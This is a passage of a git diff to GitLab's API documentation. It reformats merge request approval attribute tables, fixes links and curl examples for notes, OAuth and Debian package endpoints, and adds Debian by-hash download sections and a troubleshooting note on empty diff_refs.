-| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. |
-| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). |
-| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. |
-| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. |
-| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. |
+| Attribute | Type | Required | Description |
+|-------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. |
+| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. |
+| `name` | string | **{check-circle}** Yes | The name of the approval rule. |
+| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. |
+| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. |
+| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). |
+| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. |
+| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. |
+| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. |
```json
{
@@ -537,10 +540,10 @@ DELETE /projects/:id/approval_rules/:approval_rule_id
Supported attributes:
-| Attribute | Type | Required | Description |
-|--------------------|-------------------|----------|------------------------------------------------------------------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. |
+| Attribute | Type | Required | Description |
+|--------------------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. |
## Merge request-level MR approvals
@@ -559,10 +562,10 @@ GET /projects/:id/merge_requests/:merge_request_iid/approvals
Supported attributes:
-| Attribute | Type | Required | Description |
-|---------------------|-------------------|----------|------------------------------------------------------------------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
+| Attribute | Type | Required | Description |
+|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
```json
{
@@ -612,11 +615,11 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals
Supported attributes:
-| Attribute | Type | Required | Description |
-|----------------------|-------------------|----------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `approvals_required` | integer | **{check-circle}** Yes | Approvals required before MR can be merged. |
-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
+| Attribute | Type | Required | Description |
+|----------------------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `approvals_required` | integer | **{check-circle}** Yes | Approvals required before MR can be merged. |
+| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
```json
{
@@ -653,10 +656,10 @@ This includes additional information about the users who have already approved
Supported attributes:
-| Attribute | Type | Required | Description |
-|---------------------|-------------------|----------|------------------------------------------------------------------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
+| Attribute | Type | Required | Description |
+|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
```json
{
@@ -723,10 +726,10 @@ Use the `page` and `per_page` [pagination](index.md#offset-based-pagination) par
Supported attributes:
-| Attribute | Type | Required | Description |
-|---------------------|---------|----------|---------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
+| Attribute | Type | Required | Description |
+|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
```json
[
@@ -800,11 +803,11 @@ GET /projects/:id/merge_requests/:merge_request_iid/approval_rules/:approval_rul
Supported attributes:
-| Attribute | Type | Required | Description |
-|---------------------|---------|----------|------------------------------------------------------------------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. |
-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. |
+| Attribute | Type | Required | Description |
+|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. |
+| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. |
```json
{
@@ -876,16 +879,16 @@ POST /projects/:id/merge_requests/:merge_request_iid/approval_rules
Supported attributes:
-| Attribute | Type | Required | Description |
-|----------------------------|---------|----------|------------------------------------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
-| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. |
-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
-| `name` | string | **{check-circle}** Yes | The name of the approval rule. |
-| `approval_project_rule_id` | integer | **{dotted-circle}** No | The ID of a project-level approval rule. |
-| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. |
-| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. |
-| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. |
+| Attribute | Type | Required | Description |
+|----------------------------|-------------------|------------------------|------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) |
+| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. |
+| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
+| `name` | string | **{check-circle}** Yes | The name of the approval rule. |
+| `approval_project_rule_id` | integer | **{dotted-circle}** No | The ID of a project-level approval rule. |
+| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. |
+| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. |
+| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. |
**Important:** When `approval_project_rule_id` is set, the `name`, `users` and
`groups` of project-level rule are copied. The `approvals_required` specified
@@ -966,17 +969,17 @@ These are system generated rules.
Supported attributes:
-| Attribute | Type | Required | Description |
-|----------------------|---------|----------|------------------------------------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. |
-| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. |
-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. |
-| `name` | string | **{check-circle}** Yes | The name of the approval rule. |
-| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. |
-| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. |
-| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. |
-| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. |
+| Attribute | Type | Required | Description |
+|------------------------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. |
+| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. |
+| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. |
+| `name` | string | **{check-circle}** Yes | The name of the approval rule. |
+| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. |
+| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. |
+| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. |
+| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. |
```json
{
@@ -1051,11 +1054,11 @@ These are system generated rules.
Supported attributes:
-| Attribute | Type | Required | Description |
-|---------------------|---------|----------|---------------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. |
-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
+| Attribute | Type | Required | Description |
+|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. |
+| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
## Approve merge request
@@ -1070,12 +1073,12 @@ POST /projects/:id/merge_requests/:merge_request_iid/approve
Supported attributes:
-| Attribute | Type | Required | Description |
-|---------------------|---------|----------|-------------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `approval_password` | string | **{dotted-circle}** No | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/approvals/settings.md#require-user-password-to-approve) is enabled in the project settings. |
-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
-| `sha` | string | **{dotted-circle}** No | The `HEAD` of the merge request. |
+| Attribute | Type | Required | Description |
+|---------------------|-------------------|------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `approval_password` | string | **{dotted-circle}** No | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/approvals/settings.md#require-user-password-to-approve) is enabled in the project settings. |
+| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. |
+| `sha` | string | **{dotted-circle}** No | The `HEAD` of the merge request. |
The `sha` parameter works in the same way as
when [accepting a merge request](merge_requests.md#merge-a-merge-request): if it is passed, then it must
@@ -1133,7 +1136,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/unapprove
Supported attributes:
-| Attribute | Type | Required | Description |
-|---------------------|---------|----------|---------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. |
+| Attribute | Type | Required | Description |
+|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. |
diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md
index 5843a10ca59..3ef5d3420c1 100644
--- a/doc/api/merge_requests.md
+++ b/doc/api/merge_requests.md
@@ -637,7 +637,7 @@ Supported attributes:
| `created_at` | datetime | Timestamp of when the merge request was created. |
| `description` | string | Description of the merge request. Contains Markdown rendered as HTML for caching. |
| `detailed_merge_status` | string | Detailed merge status of the merge request. Read [merge status](#merge-status) for a list of potential values. |
-| `diff_refs` | object | References of the base SHA, the head SHA, and the start SHA for this merge request. Corresponds to the latest diff version of the merge request. |
+| `diff_refs` | object | References of the base SHA, the head SHA, and the start SHA for this merge request. Corresponds to the latest diff version of the merge request. Empty when the merge request is created, and populates asynchronously. See [Empty `diff_refs` for new merge requests](#empty-diff_refs-for-new-merge-requests). |
| `discussion_locked` | boolean | Indicates if comments on the merge request are locked to members only. |
| `downvotes` | integer | Number of downvotes for the merge request. |
| `draft` | boolean | Indicates if the merge request is a draft. |
@@ -652,7 +652,7 @@ Supported attributes:
| `latest_build_finished_at` | datetime | Timestamp of when the latest build for the merge request finished. |
| `latest_build_started_at` | datetime | Timestamp of when the latest build for the merge request started. |
| `merge_commit_sha` | string | SHA of the merge request commit. Returns `null` until merged. |
-| `merge_error` | string | Error message due to a merge error. |
+| `merge_error` | string | Error message shown when a merge has failed. To check mergeability, use `detailed_merge_status` instead |
| `merge_user` | object | The user who merged this merge request, the user who set it to merge when pipeline succeeds, or `null`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/349031) in GitLab 14.7. |
| `merge_status` | string | Status of the merge request. Can be `unchecked`, `checking`, `can_be_merged`, `cannot_be_merged`, or `cannot_be_merged_recheck`. Affects the `has_conflicts` property. For important notes on response data, read [Single merge request response notes](#single-merge-request-response-notes). [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/3169#note_1162532204) in GitLab 15.6. Use `detailed_merge_status` instead. |
| `merge_when_pipeline_succeeds` | boolean | Indicates if the merge has been set to be merged when its pipeline succeeds. |
@@ -671,7 +671,7 @@ Supported attributes:
| `squash` | boolean | Indicates if squash on merge is enabled. |
| `squash_commit_sha` | string | SHA of the squash commit. Empty until merged. |
| `state` | string | State of the merge request. Can be `opened`, `closed`, `merged` or `locked`. |
-| `subscribed` | boolean | Indicates if the currently logged in user is subscribed to this merge request. |
+| `subscribed` | boolean | Indicates if the currently authenticated user is subscribed to this merge request. |
| `target_branch` | string | Target branch of the merge request. |
| `target_project_id` | integer | ID of the merge request target project. |
| `task_completion_status` | object | Completion status of tasks. |
@@ -986,7 +986,7 @@ returned by the API or viewed via the UI. When these limits impact the results,
field contains a value of `true`. Diff data without these limits applied can be retrieved by
adding the `access_raw_diffs` parameter, accessing diffs not from the database but from Gitaly directly.
This approach is generally slower and more resource-intensive, but isn't subject to size limits
-placed on database-backed diffs. [Limits inherent to Gitaly](../development/diffs.md#diff-limits)
+placed on database-backed diffs. [Limits inherent to Gitaly](../development/merge_request_concepts/diffs/index.md#diff-limits)
still apply.
```plaintext
@@ -2913,3 +2913,14 @@ For approvals, see [Merge request approvals](merge_request_approvals.md)
To track which state was set, who did it, and when it happened, check out
[Resource state events API](resource_state_events.md#merge-requests).
+
+## Troubleshooting
+
+### Empty `diff_refs` for new merge requests
+
+When a merge request is created, the `diff_refs` field is initially empty. This field
+is populated asynchronously after the merge request is created. For more
+information, see the issue
+[`diff_refs` empty after merge request is created](https://gitlab.com/gitlab-org/gitlab/-/issues/386562),
+and the [related discussion](https://forum.gitlab.com/t/diff-refs-empty-after-mr-is-created/78975)
+in the GitLab forums.
diff --git a/doc/api/metadata.md b/doc/api/metadata.md
index c3cbae70a54..92f7177482a 100644
--- a/doc/api/metadata.md
+++ b/doc/api/metadata.md
@@ -6,7 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Metadata API **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/357032) in GitLab 15.2.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/357032) in GitLab 15.2.
+> - `enterprise` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/103969) in GitLab 15.6.
Retrieve metadata information for this GitLab instance.
diff --git a/doc/api/notes.md b/doc/api/notes.md
index 188d2697e6d..44bd7624022 100644
--- a/doc/api/notes.md
+++ b/doc/api/notes.md
@@ -174,7 +174,7 @@ Parameters:
| `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0. The confidential flag of a note. Default is false. |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes?body=note"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes/636?body=note"
```
### Delete an issue note
@@ -300,7 +300,7 @@ Parameters:
| `body` | string | yes | The content of a note. Limited to 1,000,000 characters. |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/notes?body=note"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/notes/1659?body=note"
```
### Delete a snippet note
@@ -428,7 +428,7 @@ Parameters:
| `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0. The confidential flag of a note. Default is false. |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/notes?body=note"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/notes/1?body=note"
```
### Delete a merge request note
@@ -561,7 +561,7 @@ Parameters:
| `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0. The confidential flag of a note. Default is false. |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epics/11/notes?body=note"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epics/11/notes/1?body=note"
```
### Delete an epic note
diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md
index 371e3f9ae47..3e470c5cb91 100644
--- a/doc/api/oauth2.md
+++ b/doc/api/oauth2.md
@@ -59,7 +59,7 @@ resources which the `application` can access. Upon creation, you obtain the
**must be kept secure**. It is also advantageous to keep the _Application ID_
secret when your application architecture allows.
-For a list of scopes in GitLab, see [the provider documentation](../integration/oauth_provider.md#authorized-applications).
+For a list of scopes in GitLab, see [the provider documentation](../integration/oauth_provider.md#view-all-authorized-applications).
### Prevent CSRF attacks
@@ -116,7 +116,7 @@ Before starting the flow, generate the `STATE`, the `CODE_VERIFIER` and the `COD
This page asks the user to approve the request from the app to access their
account based on the scopes specified in `REQUESTED_SCOPES`. The user is then
- redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#authorized-applications)
+ redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#view-all-authorized-applications)
is a space-separated list of scopes associated with the user.
For example,`scope=read_user+profile` requests the `read_user` and `profile` scopes.
The redirect includes the authorization `code`, for example:
@@ -196,7 +196,7 @@ be used as a CSRF token.
This page asks the user to approve the request from the app to access their
account based on the scopes specified in `REQUESTED_SCOPES`. The user is then
- redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#authorized-applications)
+ redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#view-all-authorized-applications)
is a space-separated list of scopes associated with the user.
For example,`scope=read_user+profile` requests the `read_user` and `profile` scopes.
The redirect includes the authorization `code`, for example:
@@ -352,7 +352,7 @@ curl --header "Authorization: Bearer OAUTH-TOKEN" "https://gitlab.example.com/ap
## Access Git over HTTPS with `access token`
-A token with [scope](../integration/oauth_provider.md#authorized-applications)
+A token with [scope](../integration/oauth_provider.md#view-all-authorized-applications)
`read_repository` or `write_repository` can access Git over HTTPS. Use the token as the password.
The username must be `oauth2`, not your username:
@@ -417,7 +417,7 @@ Standard OAuth 2.0 tokens support different degrees of access to GitLab
registries, as they:
- Do not allow users to authenticate to:
- - The GitLab [Container registry](../user/packages/container_registry/index.md#authenticate-with-the-container-registry).
+ - The GitLab [Container registry](../user/packages/container_registry/authenticate_with_container_registry.md).
- Packages listed in the GitLab [Package registry](../user/packages/package_registry/index.md).
- Allow users to get, list, and delete registries through
the [Container registry API](container_registry.md).
diff --git a/doc/api/packages/debian.md b/doc/api/packages/debian.md
index 88baf760973..bfed66a6579 100644
--- a/doc/api/packages/debian.md
+++ b/doc/api/packages/debian.md
@@ -85,14 +85,14 @@ GET projects/:id/packages/debian/pool/:distribution/:letter/:package_name/:packa
| `file_name` | string | yes | The filename. |
```shell
-curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb"
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/debian/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb"
```
Write the output to a file:
```shell
curl --header "Private-Token: <personal_access_token>" \
- "https://gitlab.example.com/api/v4/projects/1/packages/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb" \
+ "https://gitlab.example.com/api/v4/projects/1/packages/debian/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb" \
--remote-name
```
@@ -242,6 +242,37 @@ curl --header "Private-Token: <personal_access_token>" \
This writes the downloaded file using the remote filename in the current directory.
+## Download a packages index by hash
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96947) in GitLab 15.4.
+
+Download a packages index by hash.
+
+```plaintext
+GET <route-prefix>/dists/*distribution/:component/binary-:architecture/by-hash/SHA256/:file_sha256
+
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `distribution` | string | yes | The codename or suite of the Debian distribution. |
+| `component` | string | yes | The distribution component name. |
+| `architecture` | string | yes | The distribution architecture type. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18"
+```
+
+Write the output to a file:
+
+```shell
+curl --header "Private-Token: <personal_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" \
+ --remote-name
+```
+
+This writes the downloaded file using the remote filename in the current directory.
+
## Download a Debian Installer packages index
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71918) in GitLab 15.4.
@@ -272,6 +303,36 @@ curl --header "Private-Token: <personal_access_token>" \
This writes the downloaded file using the remote filename in the current directory.
+## Download a Debian Installer packages index by hash
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96947) in GitLab 15.4.
+
+Download a Debian Installer packages index by hash.
+
+```plaintext
+GET <route-prefix>/dists/*distribution/:component/debian-installer/binary-:architecture/by-hash/SHA256/:file_sha256
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `distribution` | string | yes | The codename or suite of the Debian distribution. |
+| `component` | string | yes | The distribution component name. |
+| `architecture` | string | yes | The distribution architecture type. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/debian-installer/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18"
+```
+
+Write the output to a file:
+
+```shell
+curl --header "Private-Token: <personal_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/debian-installer/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" \
+ --remote-name
+```
+
+This writes the downloaded file using the remote filename in the current directory.
+
## Download a source packages index
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71918) in GitLab 15.4.
@@ -300,3 +361,32 @@ curl --header "Private-Token: <personal_access_token>" \
```
This writes the downloaded file using the remote filename in the current directory.
+
+## Download a source packages index by hash
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96947) in GitLab 15.4.
+
+Download a source packages index by hash.
+
+```plaintext
+GET <route-prefix>/dists/*distribution/:component/source/by-hash/SHA256/:file_sha256
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `distribution` | string | yes | The codename or suite of the Debian distribution. |
+| `component` | string | yes | The distribution component name. |
+
+```shell
+curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/source/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18"
+```
+
+Write the output to a file:
+
+```shell
+curl --header "Private-Token: <personal_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/source/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" \
+ --remote-name
+```
+
+This writes the downloaded file using the remote filename in the current directory.
diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md
index a14f385cdb5..fe3b2e2a3fb 100644
--- a/doc/api/project_import_export.md
+++ b/doc/api/project_import_export.md
@@ -135,7 +135,8 @@ POST /projects/import
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ---------------------------------------- |
-| `namespace` | integer/string | no | The ID or path of the namespace to import the project to. Defaults to the current user's namespace |
+| `namespace` | integer/string | no | The ID or path of the namespace to import the project to. Defaults to the current user's namespace. Requires at least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was
+[deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. |
| `name` | string | no | The name of the project to be imported. Defaults to the path of the project if not provided |
| `file` | string | yes | The file to be uploaded |
| `path` | string | yes | Name and path for new project |
diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md
index 429cb97c404..bed4d4c9d88 100644
--- a/doc/api/project_repository_storage_moves.md
+++ b/doc/api/project_repository_storage_moves.md
@@ -8,9 +8,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31285) in GitLab 13.0.
-Project repositories including wiki and design repositories can be moved between storages. This can be useful when
-[migrating to Gitaly Cluster](../administration/gitaly/index.md#migrate-to-gitaly-cluster),
-for example.
+Project repositories including wiki and design repositories can be moved between storages. This API can help you when
+[migrating to Gitaly Cluster](../administration/gitaly/index.md#migrate-to-gitaly-cluster), for example.
As project repository storage moves are processed, they transition through different states. Values
of `state` are:
@@ -250,6 +249,8 @@ Example response:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47142) in GitLab 13.7.
Schedules repository storage moves for each project repository stored on the source storage shard.
+This endpoint migrates all projects at once. For more information, see
+[Move all projects](../administration/operations/moving_repositories.md#move-all-projects).
```plaintext
POST /project_repository_storage_moves
diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md
index afb7519d5f3..95477cdc765 100644
--- a/doc/api/project_snippets.md
+++ b/doc/api/project_snippets.md
@@ -1,6 +1,6 @@
---
stage: Create
-group: Editor
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -16,7 +16,7 @@ Constants for snippet visibility levels are:
| visibility | Description |
| ---------- | ----------- |
| `private` | The snippet is visible only to project members |
-| `internal` | The snippet is visible for any logged in user except [external users](../user/admin_area/external_users.md) |
+| `internal` | The snippet is visible for any authenticated user except [external users](../user/admin_area/external_users.md) |
| `public` | The snippet can be accessed without any authentication |
NOTE:
diff --git a/doc/api/projects.md b/doc/api/projects.md
index 9ddb58b1436..d14ed007dca 100644
--- a/doc/api/projects.md
+++ b/doc/api/projects.md
@@ -1,6 +1,6 @@
---
-stage: Plan
-group: Project Management
+stage: Manage
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -16,7 +16,7 @@ The visibility level is determined by the `visibility` field in the project.
Values for the project visibility level are:
- `private`: project access must be granted explicitly to each user.
-- `internal`: the project can be cloned by any signed-in user except [external users](../user/admin_area/external_users.md).
+- `internal`: the project can be cloned by any authenticated user except [external users](../user/admin_area/external_users.md).
- `public`: the project can be accessed without any authentication.
For more, read [Project visibility](../user/public_access.md).
@@ -109,9 +109,7 @@ Example response:
"ssh_url_to_repo": "git@gitlab.example.com:diaspora/diaspora-client.git",
"http_url_to_repo": "https://gitlab.example.com/diaspora/diaspora-client.git",
"web_url": "https://gitlab.example.com/diaspora/diaspora-client",
- "readme_url": "https://gitlab.example.com/diaspora/diaspora-client/blob/master/README.md",
"avatar_url": "https://gitlab.example.com/uploads/project/avatar/4/uploads/avatar.png",
- "forks_count": 0,
"star_count": 0,
"last_activity_at": "2013-09-30T13:46:02Z",
"namespace": {
@@ -210,7 +208,6 @@ When the user is authenticated and `simple` is not set this returns something li
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
"pages_access_level": "enabled",
- "operations_access_level": "enabled",
"analytics_access_level": "enabled",
"container_registry_access_level": "enabled",
"security_and_compliance_access_level": "private",
